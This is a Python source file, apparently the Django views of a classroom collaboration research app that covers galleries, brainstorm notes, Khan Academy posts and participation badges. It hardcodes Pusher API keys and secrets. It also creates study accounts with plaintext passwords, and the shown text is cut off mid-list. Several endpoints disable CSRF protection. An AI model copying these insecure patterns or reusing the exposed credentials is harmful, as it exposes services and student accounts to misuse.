badgeReceived, badgeSelected, studentCharacteristicModel, badgeInfo, KAPostModel,\\\n participationHistory, whiteboardInfoTable, khanAcademyInfoTable, studentPersonalityChangeTable, computationalModelLog\nfrom django.contrib.auth import authenticate\nfrom django.http.response import JsonResponse\nfrom django.contrib.auth import login as auth_login\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.db.models import Count\nfrom django.core import serializers\nfrom .parser import parser\nfrom .randomGroupGenerator import randomGroupGenerator\nfrom .badgeInfoFileRead import badgeInfoFileRead\nfrom .keywordMatch import keywordMatch\nfrom .binaryLogisticModel import binaryLogisticModel\nimport json, random\nfrom datetime import datetime, timedelta\nfrom collections import Counter\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.forms.models import model_to_dict\n\n\n\n# activity feed code -- start\nfrom pusher import Pusher\nfrom django.views.decorators.csrf import csrf_exempt\n\n# instantiate the pusher class - this is used for activity feed message\npusher = Pusher(app_id=u'525110', key=u'ea517de8755ddb1edd03', secret=u'be2bf8ae15037bde9d94', cluster=u'us2')\n\n# instantiate the pusher class - this is used for individual image message\npusher1 = Pusher(app_id=u'525110', key=u'f6bea936b66e4ad47f97', secret=u'ed3e9509fce91430fcac', cluster=u'us2')\n\n# instantiate the pusher class - this is used for brainstorm note\npusher2 = Pusher(app_id=u'525110', key=u'5da367936aa67ecdf673', secret=u'e43f21c19211c9738d6b', cluster=u'us2')\n\n@csrf_exempt\ndef broadcast(request):\n\n pusher.trigger(u'a_channel', u'an_event', {u'name': request.POST['username'],\n u'message': request.POST['message'],\n u'activity_id': request.POST['activity_id']})\n\n #insert into database\n msg = Message(content=request.POST['message'], posted_by=request.user, activity_id = request.POST['activity_id']);\n msg.save();\n\n return JsonResponse({'success': ''})\n\n# activity feed code -- end\n\n\n@csrf_exempt\ndef broadcastImageComment(request):\n\n\n pusher1.trigger(u'b_channel', u'bn_event', {u'name': request.POST['username'], u'message': request.POST['message'],\n u'imageid': request.POST['imagePk'], u'activityID': request.POST['activityID']})\n\n #get the image id\n img = imageModel.objects.get(id=request.POST['imagePk'])\n #error: id is not instance of the model\n #solution: https://www.slideshare.net/BaabtraMentoringPartner/how-to-fix-must-be-an-instance-when-a-foreign-key-is-referred-django-python-mysql\n comment = imageComment(content=request.POST['message'], posted_by = request.user, imageId = img, activityID=request.POST['activityID'])\n comment.save()\n\n #save into the history table once\n if participationHistory.objects.filter(platform=\"MB\", activity_id=request.POST['activityID'], posted_by=request.user).exists():\n #do nothing\n print();\n else:\n entry = participationHistory(platform=\"MB\", activity_id=request.POST['activityID'],didParticipate='yes',posted_by=request.user);\n entry.save()\n\n return JsonResponse({'success': '', 'errorMsg': True})\n\n@csrf_exempt\ndef broadcastBrainstormNote(request):\n\n #pusher2.trigger(u'c_channel', u'cn_event', {u'name': request.POST['username'], u'message': request.POST['message']})\n pusher2.trigger(u'c_channel', u'cn_event', {u'noteID': request.POST.get('brainstormID'), u'idea': request.POST.get('idea'),\n u'color': request.POST.get('color'), u'posTop': request.POST.get('posTop'), u'posLeft': request.POST.get('posLeft'),\n u'posted_by':request.POST['username'],\n u'update': 'false'})\n\n note = brainstormNote(brainstormID=request.POST.get('brainstormID'), ideaText=request.POST.get('idea'),\n color=request.POST.get('color'),\n position_top=request.POST.get('posTop'), position_left=request.POST.get('posLeft'),\n posted_by=request.user)\n note.save()\n\n note = brainstormNote.objects.last()\n print(note.id)\n return JsonResponse({'id': note.id, 'errorMsg': True})\n\n\n#in the browser: http://127.0.0.1:8000/app/\n@login_required\ndef index(request):\n if request.user.is_authenticated:\n return render(request, 'app/index.html')\n #if teacher then open up teacher portal, else student portal\n # if request.user.get_username() == 'AW':\n # return render(request, 'app/teacherindex.html')\n # else: return render(request, 'app/index.html')\n\ndef login_form(request):\n return render(request, 'app/login.html',{})\n\ndef login(request):\n if request.method == 'POST':\n # Gather the username and password provided by the user.\n # This information is obtained from the login form.\n # We use request.POST.get('') as opposed to request.POST[''],\n # because the request.POST.get('') returns None, if the value does not exist,\n # while the request.POST[''] will raise key error exception\n username = request.POST.get('username')\n password = request.POST.get('password')\n\n # Use Django's machinery to attempt to see if the username/password\n # combination is valid - a User object is returned if it is.\n # user is created using the createsuperuser command\n user = authenticate(username=username, password=password)\n print('user :: ', user)\n\n if user:\n auth_login(request, user)\n #add to user log table\n userLog = userLogTable(username = request.user, action=\"user click login button\", type=\"login\", input=request.POST.get('username'), pagenumber=0000)\n userLog.save();\n\n # member = groupInfo(activityType='gallery', activityID=1, group=0, users=request.user)\n # member.save();\n\n return HttpResponseRedirect('/index/')\n else:\n #return invalid login message\n print(\"entered wrong username\"); #TODO: enter into user log database\n return render(request, 'app/login.html', {'errorMsg': \"Invalid Username/Password\"});\n else:\n return render(request, 'app/login.html', {})\n\ndef saveCharacteristic(request):\n # TODO update from the front-end\n # todo; write a code for the file read\n # loop through all the user and set some values\n # note: added has_social true for badge update consistency (more into computional model method). while\n # the other four variables value will come from the survey, has_social will always be true.\n for o in User.objects.all():\n student_char = studentCharacteristicModel(user=o, has_msc=False,\n has_hsc=False, has_fam=False, has_con=False, has_social=True);\n student_char.save();\n\n\n return HttpResponse('');\n\n# returns students characteristic from the student characterisitc model\n# called from utility.js and will save it into local storage\ndef getCharacteristic(request, username):\n\n\n info = studentCharacteristicModel.objects.get(user=User.objects.get(username=username));\n info = info.__dict__; #returns a dict\n dict = {}\n dict['msc'] = info['has_msc'];\n dict['hsc'] = info['has_hsc'];\n dict['fam'] = info['has_fam'];\n dict['con'] = info['has_con'];\n dict['social'] = info['has_social'];\n\n return dict;\n #return JsonResponse({'info': dict});\n\n\ndef uploadImage(request):\n #get image from html and save it in the database\n if request.method == \"POST\":\n # print (request.Files) #gives the name of the \n\n #get the gallery ID\n gallery_id = request.POST.get('act-id')\n print('gallery_id :: ', gallery_id);\n\n #made a query here to get the student group ID\n group_id = getGroupID(request, gallery_id);\n print('group_id :: ', group_id);\n\n # print(type(request.FILES['gallery_img'].name))\n # django.core.files.uploadedfile.InMemoryUploadedFile\n\n #get the logged in username\n username = ''\n if request.user.is_authenticated:\n print('username :: ', request.user.get_username());\n username = request.user.get_username();\n else:\n print('user not signed in') #add in log\n\n\n #insert values in the database\n #TODO: restrict insertion if user is not signed in\n img = imageModel(gallery_id=gallery_id, group_id = group_id , posted_by = request.user, image=request.FILES['gallery_img']);\n # TODO: check whether the insertion was successful or not, else wrong image will be shown using the last() query\n img.save()\n\n # using data NOT from database\n # data = {}\n # data['gallery_id'] = gallery_id\n # data['posted_by'] = username\n # # data['posted_at'] = \"{}\".format(images.posted_at)\n # data['url'] = 'images/'+request.FILES['gallery_img'].name\n # image_data = json.dumps(data)\n\n #get the latest inserted entry from the database for this particular group\n #https://stackoverflow.com/questions/2191010/get-last-record-in-a-queryset/21247350\n images = imageModel.objects.filter(posted_by=request.user, gallery_id=gallery_id).last()\n\n print('image url :: ',images.image.url)\n\n print('user ::', images.posted_by.get_username())\n\n # using data from database\n data = {}\n data['image_id'] = images.pk\n data['gallery_id'] = images.gallery_id\n data['group_id'] = images.group_id\n data['posted_by'] = images.posted_by.get_username()\n data['posted_at'] = \"{}\".format(images.posted_at)\n data['url'] = images.image.url\n image_data = json.dumps(data)\n\n # print(image_data)\n #real time pic transfer\n # pusher1.trigger(u'b_channel', u'bn_event',\n # { u'new_image':image_data})\n\n return JsonResponse({'success': image_data})\n\n# call from individual_gallery.js\ndef getIndividualImages(request, act_id):\n print('debug purpose, def getIndividualImages, gallery id, ', act_id);\n #get the group members of the current users\n member_list = getGroupMembers(request, act_id);\n print(\"getIndividualImages member id list :: \", member_list);\n #retrieve the LAST image uploaded from Image Model for each user in member_list\n\n image_list = [];\n for user_id in member_list:\n #get the LAST image uploaded by the user_id\n images = imageModel.objects.filter(posted_by_id = user_id, gallery_id=act_id).last();\n dict = {};\n if images:\n dict['posted_by'] = images.posted_by.get_username();\n dict['image_id'] = images.pk;\n dict['url'] = images.image.url;\n image_list.append(dict);\n\n #print('get individual images :: ', image_list);\n\n return JsonResponse({'imageData': json.dumps(image_list)});\n #return HttpResponse('');\n\ndef saveIndividualCommentMsgs(request):\n #insert into the model\n comment = individualMsgComment(activityID=request.POST.get('activityID'), imageId_id=request.POST.get('imagePK'), content=request.POST.get('message'),\n posted_by=request.user);\n comment.save();\n\n return HttpResponse('');\n\n# input: image id\n# output: get comments for the current user for a given image id\n\ndef getIndividualCommentMsgs(request,imageId):\n imageCommments = individualMsgComment.objects.filter(imageId=imageId, posted_by=request.user);\n imageCommments = serializers.serialize('json', imageCommments, use_natural_foreign_keys=True);\n return JsonResponse({'imageCommments': imageCommments});\n\n#used in gallery.js\n#display a random image outside the group\ndef getGalleryImage(request, act_id):\n\n print('debug purpose, def updateImage, gallery id, ', act_id);\n # first get the images from the group-members\n # get the group members of the current users\n member_list = getGroupMembers(request, act_id);\n\n #get all the image id by the member list\n member_image_id_query= imageModel.objects.filter(posted_by__in=member_list, gallery_id=act_id).values('id');\n member_image_id_list = [item['id'] for item in member_image_id_query];\n print('line 295 current user member image Id list:: ', member_image_id_list);\n\n all_image_id_query = imageModel.objects.filter(gallery_id=act_id).values('id');\n all_image_id_list = [item['id'] for item in all_image_id_query];\n print('line 299 all students image Id list:: ', all_image_id_list);\n\n outside_group_image = list(set(all_image_id_list) - set(member_image_id_list))\n #outside_group_image can be empty if no image is uploaded in this gallery activity\n print('line 303 outside digital discussion group image:: ', outside_group_image);\n if(len(outside_group_image) == 0):\n print('debug purpose, def updateImage, image list is empty as no image is uploaded in this activity yet');\n return HttpResponse('');\n else:\n #the list is not empty\n #outside_group_image_id = random.choice(outside_group_image); #not sending random as then participants from the same group also sees different image\n outside_group_image_id = outside_group_image[0];\n print('debug purpose, def getGalleryImage, outside_group_image_id :: ', outside_group_image_id);\n\n images = imageModel.objects.filter(id=outside_group_image_id).values('image');\n if images:\n dict = {}\n dict['imagePk'] = outside_group_image_id;\n dict['url'] = images[0]['image'];\n\n return JsonResponse({'imageData': dict});\n else:\n return HttpResponse('');\n\n#used in gallery.js\ndef updateImageFeed(request):\n\n\n act_id = request.GET['act_id'] #gallery id\n img_id = request.GET['img_id'] #img_id\n\n print('debug purpose, def getGalupdateImageFeedleryImage, image id, :: ' + img_id + ' in activity id :: ', act_id);\n\n # get the current users' group-member name\n group_member_id = getGroupMembers(request, act_id);\n\n # get all the comments in the given image id\n # filter out the comments made my the users' group-member\n #however, if there is no image uploaded yet for the gallery, then img_id will be null\n img_msg = ''\n if img_id:\n img_msg = imageComment.objects.filter(imageId_id=img_id, posted_by__in = group_member_id);\n img_msg = serializers.serialize('json', img_msg, use_natural_foreign_keys=True, use_natural_primary_keys=True);\n\n group_member_name = []\n for i in group_member_id:\n group_member_name.append(User.objects.get(id=i).username);\n\n #print(group_member_name)\n\n return JsonResponse({'success': img_msg, 'username': request.user.get_username(), 'group_member': group_member_name});\n\ndef getSelfGalleryContent(request, act_id):\n # get the users' uploaded image for the given gallery\n print('debug purpose, def getSelfGalleryContent, gallery id, ', act_id);\n #img_data = imageModel.objects.filter(gallery_id=act_id, posted_by_id=request.user); #returns a queryset\n # todo: what if the filter returns multiple image i.e., user uploaded more than one image\n img_data = list(imageModel.objects.filter(gallery_id=act_id, posted_by_id=request.user).values('id','image').order_by('-id'));\n print('line 252 ::', img_data);\n # print('line 251:', type(img_data)); #type -- list\n # print('line 252:', type(json.dumps(list(img_data)))); #type -- str\n\n dict = {};\n if img_data: #there is at least an image uploaded by the user (could be more than one, but selecting the first here, TODO)\n img_msg = list(individualMsgComment.objects.filter(imageId_id=img_data[0]['id']).values('content', 'posted_by__username', 'posted_at'));\n # img_msg = [dict(item) for item in img_msg]\n # print('line 258 ::', img_msg);\n #converting the time into a readable format\n for i in img_msg:\n i['posted_at'] = i['posted_at'].strftime(\"%Y-%m-%d %H:%M:%S\");\n #print (i);\n dict['img_data'] = img_data;\n dict['img_msg'] = img_msg;\n\n return JsonResponse({'success': dict});\n\n# used in the badgeCard, get the badge names and count\ndef getBadgeNames(request):\n if request.method == 'POST':\n badgeType = request.POST.get('badgeType');\n #print('379 :: ', badgeType)\n\n #used value = \"True\" to get the three badgenames; true/false either way we have three badges\n badges = list(badgeInfo.objects.filter(charac=badgeType, value=\"True\").values('badgeName', 'imgName', 'definition').distinct());\n\n #print('line 296', badges);\n\n badgeCountList = [];\n for badge in badges:\n dict = {}\n dict['badgeName'] = badge['badgeName'];\n #print(dict['badgeName']);\n platform = ['MB', 'KA', 'TA'];\n count_list = [];\n for i in platform:\n count = {}\n #print(i);\n #get the badgecount for each platform\n count['platform'] = i;\n badge_count = badgeReceived.objects.filter(userid_id=request.user, badgeTypeReceived = dict['badgeName'].lower(), platform=i).values('platform')\\\n .annotate(Count('platform'));\n #print(badge_count);\n if badge_count:\n count['badgeCount'] = badge_count[0]['platform__count'];\n else:\n count['badgeCount'] = 0;\n\n count_list.append(count);\n\n #print('line 376 (debug purpose):: ', count_list);\n dict['count_List'] = count_list;\n #append this to the main list\n badgeCountList.append(dict);\n\n #print('line 382 badge count list (debug) :: ', badgeCountList);\n #print('line 414 badge list (debug) :: ', badges);\n\n return JsonResponse({'badgeNames': badges, 'badgeCount': badgeCountList});\n return HttpResponse('');\n\n\n#this method is called from gallery.js/khan academy content.js, and teachable agent \n#https://stackoverflow.com/questions/18045867/post-jquery-array-to-django\ndef getBadgeOptions(request, username, platform, badgeKey,activity_id):\n\n print('line 393 /getBadgeOptions :: ', badgeKey);\n\n #get the students characteristic VALUES from the database\n charac = getCharacteristic(request, username); #this is a dict\n #print('line 309 accessing charac list :: ', charac);\n #print('line 310 accessing charac value :: ', type(charac['social']));\n\n #separatae no participation badge vs constructive badge -- through badgeKey List\n dict = {};\n index_list = [1, 2, 3]; #initial list\n con2_list = []; #for con2\n badgeOfferedList = []\n for elem in badgeKey:\n randomNO = str(random.choice(index_list))\n original_elem = elem; #msc, hsc, fam, con1, con2, social\n\n #little adjustment made to display all the three badges un the interface\n if(elem == 'con1' or elem == 'con2'):\n elem = elem.replace(elem,\"con\");\n con1_random = random.choice(index_list);\n con2_list = index_list\n con2_list.remove(con1_random)\n badge_item = list(badgeInfo.objects.filter(charac=elem, platform=platform,\n value=charac[elem], index=con1_random).values(\n 'badgeName', 'prompt', 'sentence_opener' + randomNO));\n\n badgeOfferedList.append(badge_item[0]['badgeName']);\n badgeOfferedList.append(badge_item[0]['sentence_opener'+ randomNO]);\n elif(elem == 'con2'):\n elem = elem.replace(elem, \"con\");\n badge_item = list(badgeInfo.objects.filter(charac=elem, platform=platform,\n value=charac[elem], index=random.choice(con2_list)).values(\n 'badgeName', 'prompt', 'sentence_opener' + randomNO));\n badgeOfferedList.append(badge_item[0]['badgeName']);\n badgeOfferedList.append(badge_item[0]['sentence_opener' + randomNO]);\n else:\n #handle randomization using index key\n badge_item = list(badgeInfo.objects.filter(charac=elem,platform=platform,\n value=charac[elem],index=random.choice(index_list)).values('badgeName','prompt','sentence_opener'+randomNO));\n\n badgeOfferedList.append(badge_item[0]['badgeName']);\n badgeOfferedList.append(badge_item[0]['sentence_opener' + randomNO]);\n\n #little adjustment made based on the front-end; front-end uses 'sentence_opener1' since we are picking randomly and it\n #can be 1,2,or3; so after picking randomly, changed the dict key to sentence_opener1\n #https://stackoverflow.com/questions/4406501/change-the-name-of-a-key-in-dictionary\n badge_item[0]['sentence_opener1'] = badge_item[0].pop('sentence_opener'+randomNO)\n\n dict[original_elem] = badge_item;\n\n\n\n print('line 476 :: ', badgeOfferedList);\n\n #log this into the table\n entry = badgeOffered(userid=User.objects.get(username=username), platform=platform, activity_id=activity_id,\n badgeTypeOffered=json.dumps(badgeOfferedList));\n entry.save();\n\n #print('line 418 /getbadgeOptions', dict);\n\n return dict; #goes back to computationalModel method\n\n\n# this comes from the extension\ndef saveKApost(request):\n # get the data\n if request.method == 'POST':\n username = request.POST.get('username').split(\" \")[0];\n pagetitle = request.POST.get('pageURL');\n textareaId = request.POST.get('textareaId');\n content = request.POST.get('content');\n\n print('line 430 :: ', username);\n\n # check if an answer is already present for this textarea, then update else enter\n if KAPostModel.objects.filter(title = pagetitle).filter(textareaID = textareaId).filter(posted_by=User.objects.get(username=username)).exists():\n KAPostModel.objects.filter(title = pagetitle).filter(textareaID = textareaId).filter(posted_by=User.objects.get(username=username)). \\\n update(content=content);\n else:\n ka_answer = KAPostModel(title = pagetitle, textareaID = textareaId, content=content, posted_by=User.objects.get(username=username));\n ka_answer.save();\n\n #insert an entry into the participation history for this activity id\n #get the KAid from the khanAcademyInfoTable table\n KA_id = list(khanAcademyInfoTable.objects.filter(url=pagetitle).values('KA_id'));\n KA_id = KA_id[0]['KA_id'];\n print('debug purpose, user participated in khan academy id :: ', KA_id);\n\n # save into the history table once\n if participationHistory.objects.filter(platform=\"KA\", activity_id=KA_id,posted_by=User.objects.get(username=username)).exists():\n # do nothing\n print();\n else:\n entry = participationHistory(platform=\"KA\", activity_id=KA_id,\n didParticipate='yes', posted_by=User.objects.get(username=username));\n entry.save();\n\n return HttpResponse('successfully inserted');\n\n return HttpResponse('');\n\ndef saveBadgeSelection(request):\n # get the data\n if request.method == 'POST':\n username = request.POST.get('username');\n platform = request.POST.get('platform');\n activity_id = request.POST.get('activity_id');\n title = request.POST.get('title');\n selected_badge = request.POST.get('selected_badge');\n\n #save users' selected badge\n badge_Selected = badgeSelected(userid=User.objects.get(username=username), platform=platform, activity_id=activity_id, title=title,\n badgeTypeSelected=selected_badge);\n badge_Selected.save();\n\n return HttpResponse('');\n\n return HttpResponse('');\n\n\n#modelbook: gallery ID\n#khanacademy: khan academy\ndef computationalModel(request):\n if request.method == 'POST':\n username = request.POST.get('username');\n platform = request.POST.get('platform');\n activity_id = request.POST.get('activity_id');\n\n # first check if this student will participate or not based on their history\n # willParticipate = false --> when the student did not participate in the last two activities -- badgeKey = NP related key\n # willParticipate = true --> when the student participated in the last two activities -- badgeKey = CP related key\n\n willParticipate = False;\n if (platform == 'TA'):\n #for TA, willParticipate will come from the csharp server; based on utterance count\n #True means participate; null means no participate (false)\n willParticipate = bool(request.POST.get('willParticipate')); #this comes from TA\n\n else:\n #for the other two platforms, calculate will participate variable here\n if int(activity_id) == 1:\n willParticipate = False;\n elif int(activity_id) >= 2:\n prev_actID = int(activity_id)-1;\n\n # check if participated in the previous activity if a given platform\n # the following table should have one entry [per activity id] at any moment of time\n #todo: check the 'did participate' table for the correct entry logics\n didParticipate = participationHistory.objects.filter(posted_by=User.objects.get(username=username),\n activity_id=prev_actID,\n platform=platform).values('didParticipate');\n\n print('line 496 did participate in the prev activity?', didParticipate);\n # Todo check the chronological participation here -->\n #if there is a queryset, means current user participated in the previous activity\n if didParticipate:\n willParticipate = True;\n else: #because did not participate in the previous act\n willParticipate = False;\n\n #second, using the willParticipate variable, decide whether to call CPmodel or not\n badgeKey = [];\n if(willParticipate == True):\n #call the CP model equation here to check the likelihood of participation and log it\n #first, get students characteristic\n #todo: write this as documentation so we know what to do/how to format the data\n charac = studentCharacteristicModel.objects.filter(user = User.objects.get(username=username)).values('has_msc', 'has_hsc', 'has_fam');\n charac_dict = [dict(item) for item in charac];\n #print('link 510 :: ', charac_dict);\n likelihood = binaryLogisticModel.model(None, charac_dict, platform);\n print('from the view class, likelihood score', likelihood);\n\n entry = computationalModelLog(likelihood = likelihood, student = User.objects.get(username=username), platform = platform,\n activity_id=activity_id);\n entry.save();\n # later from the data will verify whether students participated or not\n badgeKey = ['msc', 'hsc', 'fam']\n else:\n #based on student history, will not participate so display conscien and social badges\n badgeKey = ['con1', 'con2', 'social']\n\n\n badgeList = getBadgeOptions(request, username, platform, badgeKey,activity_id);\n\n return JsonResponse({'badgeList': badgeList}); #goes back to utility.js\n\n return HttpResponse('');\n\ndef matchKeywords(request):\n praise_messages_part1_list = ['Very Good!', 'Well Done!', 'Way to go!', 'Wonderful!', 'Great Effort!', 'Nice One!'];\n praise_messages_part1 = random.choice(praise_messages_part1_list);\n\n # the keywords are the badgenames (so check with the excel sheet and be consistent, else error)\n praise_message_part2_dict = \\\n {'brainstorm': 'This will help you to understand better.',\n 'question': 'Asking questions helps you to understand better.',\n 'critique': 'This will help you to understand better.',\n 'elaborate': 'This will benefit your help-giving skills.',\n 'share': 'Sharing thoughts helps you to put them into words.',\n 'challenge': 'This will benefit your help-giving skills.',\n 'feedback': 'Your feedback to others is highly appreciated!',\n 'addon': 'Adding to an existing conversation is useful.',\n 'summarize': 'Summarizing is a great skill.',\n 'answer': 'Responding to others is a great way of learning.',\n 'reflect': 'Reflecting on others work is good.',\n 'assess': 'Evaluating others work is a skill!',\n 'participate': 'Participation is a great collaborative technique!',\n 'appreciate': 'Appreciating others encourages collaboration.',\n 'encourage': 'Encouraging others helps in a collaboration.',\n 'other': 'You are doing a great job!'\n }\n\n if request.method == 'POST':\n username = request.POST.get('username').split(\" \")[0];\n print('line 601 from KA', username);\n activity_id = request.POST.get('activity_id');\n platform = request.POST.get('platform');\n message = request.POST.get('message');\n selected_badge = request.POST.get('selected_badge');\n\n if(platform == 'KA'):\n #get the selected badge using the URL sent\n ka_url = request.POST.get('ka_url');\n\n #get the id using the URL\n KA_id = list(khanAcademyInfoTable.objects.filter(url=ka_url).values('KA_id'));\n activity_id = KA_id = KA_id[0]['KA_id'];\n print('line 614 from matchkeywords, KAid', KA_id);\n\n entry = badgeSelected.objects.filter(userid_id=User.objects.get(username=username)).filter(platform=platform, activity_id=KA_id).\\\n values('badgeTypeSelected').last();\n print('line 463 badge selected for khan academy :: ', entry);\n if entry:\n selected_badge = entry['badgeTypeSelected'];\n\n selected_badge = selected_badge.lower();\n isMatch = keywordMatch.matchingMethod(None, message, selected_badge);\n if(isMatch):\n print('line 635 keyword matched; user is rewarded a badge :: ', selected_badge);\n #if there is a match, make an entry into the badgeReceived table\n entry = badgeReceived(userid_id=User.objects.get(username=username).pk, platform=platform,\n activity_id = activity_id, message = message, badgeTypeReceived = selected_badge);\n entry.save();\n else:\n print('line 635 keyword did not matched; user was not rewarded a badge.');\n\n #praised text generated randomly\n praiseText = praise_messages_part1 +' '+praise_message_part2_dict[selected_badge];\n\n return JsonResponse({'isMatch': isMatch, 'praiseText': praiseText, 'selected_badge': selected_badge});\n\n return HttpResponse('');\n\ndef getWhiteboardURl(request, board_id):\n\n #print('line 592 :: ', board_id);\n whiteboard = whiteboardInfoTable.objects.filter(whiteboard_activityID = board_id, userid_id = request.user).values('whiteboard_link');\n #print(whiteboard[0]['whiteboard_link']);\n\n if whiteboard:\n url = whiteboard[0]['whiteboard_link'];\n return JsonResponse({'url':url});\n\n return HttpResponse('');\n\n#updates the chat feed\ndef updateFeed(request, id):\n\n # message of all times\n msg = Message.objects.filter(activity_id = id);\n msg_data = serializers.serialize('json', msg, use_natural_foreign_keys=True)\n return JsonResponse({'success': msg_data, 'username': request.user.get_username(), 'errorMsg': True})\n\n # #separate message today vs other days -- keeping for any future use\n # msg = Message.objects.filter(posted_at__gte = datetime.now() - timedelta(days=1)); #returns all the comment from today\n # msg_data = serializers.serialize('json', msg, use_natural_foreign_keys=True);\n # print('msg :: ', msg_data);\n # return JsonResponse({'success': msg_data, 'username': request.user.get_username(), 'errorMsg': True});\n\n\n###############################################\n############ handler methods start ############\ndef getUsername(request):\n if request.user.is_authenticated:\n print('def GetUsername method -- username :: ', request.user.get_username())\n username = request.user.get_username();\n return JsonResponse({'name': username, 'errorMsg': None})\n return HttpResponse('');\n\n# input: activity ID\n# output: the group ID of the current user for the given activity ID\ndef getGroupID(request, act_id):\n groupID = groupInfo.objects.all().filter(activityID = act_id)\n groupID = groupID.filter(users_id = request.user)\n\n return groupID[0].group;\n\n\ndef getCurrentUserGroupID(request, act_id):\n\n return JsonResponse({'groupID': getGroupID(request, act_id)});\n\n#input: activity ID\n#output: return the ID of the group members of the current user for the given activity\ndef getGroupMembers(request, act_id):\n # what is the group number of the current user in a particular activity\n current_user_groupID = getGroupID(request, act_id);\n\n # which users are are there in this group\n group_members = groupInfo.objects.all().filter(activityID=act_id, group=current_user_groupID);\n\n group_member_list = [];\n for member in group_members:\n group_member_list.append(member.users_id);\n\n return group_member_list;\n\n#this method reads badge info from an excel and saves into the database\n#file location is hardcoded i.e., downloads folder of IA computer\ndef insertBadgeInfo(request):\n\n #1. read the excel file (used a separate py file for this)\n bagdeInfoList = badgeInfoFileRead.fileRead(None);\n #print(type(bagdeInfoList));\n\n # 2. insert into the table\n for badgeElem in bagdeInfoList:\n #print(badgeElem['characteristic'])\n entry = badgeInfo(charac = badgeElem['characteristic'], value = badgeElem['value'], badgeName = badgeElem['badge_name'], index = badgeElem['index'],\n platform = badgeElem['platform'], imgName = badgeElem['imgName'], definition = badgeElem['definition'],\n prompt = badgeElem['badge_prompt'], sentence_opener1 = badgeElem['badge_ss1'],\n sentence_opener2 = badgeElem['badge_ss2'], sentence_opener3 = badgeElem['badge_ss3']);\n entry.save();\n\n return HttpResponse('');\n\ndef insertWhiteboardInfo(request):\n\n #1. read the excel file (used a separate py file for this)\n whiteboardInfoList = badgeInfoFileRead.whiteboardfileRead(None);\n #print(type(bagdeInfoList));\n\n # 2. insert into the table\n for whiteboard in whiteboardInfoList:\n #print(whiteboard['user'])\n\n entry = whiteboardInfoTable(whiteboard_activityID = int(whiteboard['whiteboard_id']),\n userid_id = User.objects.get(username=whiteboard['user']).pk, whiteboard_link = whiteboard['url']);\n entry.save();\n\n return HttpResponse('');\n\ndef insertKhanAcademyInfo(request):\n\n #1. read the excel file (used a separate py file for this)\n khanacademyInfoList = badgeInfoFileRead.khanAcademyfileRead(None);\n #print(type(bagdeInfoList));\n\n # 2. insert into the table\n for khanacademy in khanacademyInfoList:\n #print(whiteboard['user'])\n\n entry = khanAcademyInfoTable(platform = khanacademy['platform'],\n KA_id = khanacademy['id'], url = khanacademy['url']);\n entry.save();\n\n return HttpResponse('');\n\n\n############ handler methods end ############\n#############################################\n#\n\n\n\n\n##############################################\n##Codes used from the previous version-start##\n##############################################\n\n\ndef brainstormSave(request):\n\n note = brainstormNote(brainstormID = request.POST.get('brainstormID'), ideaText = request.POST.get('idea'), color = request.POST.get('color'),\n position_top = request.POST.get('posTop'), position_left = request.POST.get('posLeft'), posted_by = request.user)\n note.save()\n\n note = brainstormNote.objects.last()\n print(note.id)\n return JsonResponse({'id': note.id,'errorMsg': True})\n\n\ndef brainstormGet(request,brainstorm_id):\n\n notes = brainstormNote.objects.filter(brainstormID=brainstorm_id)\n notes = serializers.serialize('json', notes, use_natural_foreign_keys=True)\n\n return JsonResponse({'success': notes})\n\n\ndef brainstormUpdate(request, note_id):\n\n note = brainstormNote.objects.filter(id=note_id)\n\n pusher2.trigger(u'c_channel', u'cn_event',\n {u'noteID': note_id, u'idea': note[0].ideaText,\n u'color': note[0].color, u'posTop': request.POST.get('top'),\n u'posLeft': request.POST.get('left'),\n u'posted_by': request.POST.get('username'),\n u'update': 'true'})\n\n brainstormNote.objects.filter(id=note_id).update(position_top=request.POST.get('top'),\n position_left=request.POST.get('left'))\n return HttpResponse('')\n\ndef brainstormDelete(request,note_id):\n\n print('NOTEID', note_id);\n\n b = brainstormNote.objects.get(pk=note_id)\n # This will delete the Blog and all of its Entry objects.\n print(b)\n b.delete()\n\n return HttpResponse('no delete?')\n\ndef tableEntriesSave(request):\n\n entries = tableChartData(posted_by = request.user, table_id = request.POST.get('table_id'), plot_type = request.POST.get('plot_type'),\n plot_data = request.POST.get('plot_data'));\n entries.save();\n\n return HttpResponse('');\n\ndef registerUser(request):\n return render(request, 'app/register.html', {})\n\ndef groupAdd(request):\n\n users_list = [str(user) for user in User.objects.all()]\n print(len(users_list))\n\n usernames_array = [\"Squirtle\", \"Umbreon\", \"Ponyta\", \"Chansey\", \"Gengar\", \"Tangela\", \"AW1\",\n \"Paras\", \"Bulbasaur\", \"Eevee\", \"Gyarados\", \"Lapras\", \"Horsea\", \"AW2\",\n \"Psyduck\", \"Mew\", \"Dragonite\", \"Charizard\", \"Charmander\", \"Ekans\", \"AW3\",\n \"AW\", \"user1\", \"user2\"];\n\n username_groupID = ['1', '1', '1', '1', '1', '1', '1',\n '2', '2', '2', '2', '2', '2', '2',\n '3', '3', '3', '3', '3', '3', '3',\n '4', '4', '4']\n\n\n # for i in range(len(usernames_array)):\n # print (usernames_array[i], ' ----- ', username_groupID[usernames_array.index(usernames_array[i])]);\n #\n\n #rangeVal = total number of unique gallery activities\n rangeVal = 9;\n for username in users_list:\n for i in range(1, rangeVal):\n member = groupInfo(activityID=i, group=username_groupID[usernames_array.index(username)],\n users=User.objects.get(username=username))\n member.save();\n\n return render(request, 'app/login.html', {});\n\n\ndef userlog(request):\n\n log = userLogTable(username=request.user, action=request.POST.get('action'), type=request.POST.get('type'),\n input=request.POST.get('input'), pagenumber=request.POST.get('pagenumber'))\n log.save()\n\n return HttpResponse('')\n\ndef createBulkUser(request):\n\n # 19 user for the study + 1 teacher user + 2 test user\n\n #whiteboard-group 1\n user = User.objects.create_user('Squirtle', '', 'study6109');\n user.save();\n user = User.objects.create_user('Bulbasaur', '', 'study2710');\n user.save();\n user = User.objects.create_user('Dragonite', '', 'study2391');\n user.save();\n\n #whiteboard-group 2\n user = User.objects.create_user('Gengar', '', 'study9273');\n user.save();\n user = User.objects.create_user('Eevee', '', 'study3452');\n user.save();\n user = User.objects.create_user('Charizard', '', 'study0013');\n user.save();\n\n # whiteboard-group 3\n user = User.objects.create_user('Umbreon', '', 'study3920');\n user.save();\n user = User.objects.create_user('Gyarados', '', 'study3525');\n user.save();\n user = User.objects.create_user('Charmander', '', 'study0952');\n user.save();\n\n #whiteboard-group 4\n user = User.objects.create_user('Ponyta', '', 'study1259');\n user.save();\n user = User.objects.create_user('Lapras', '', 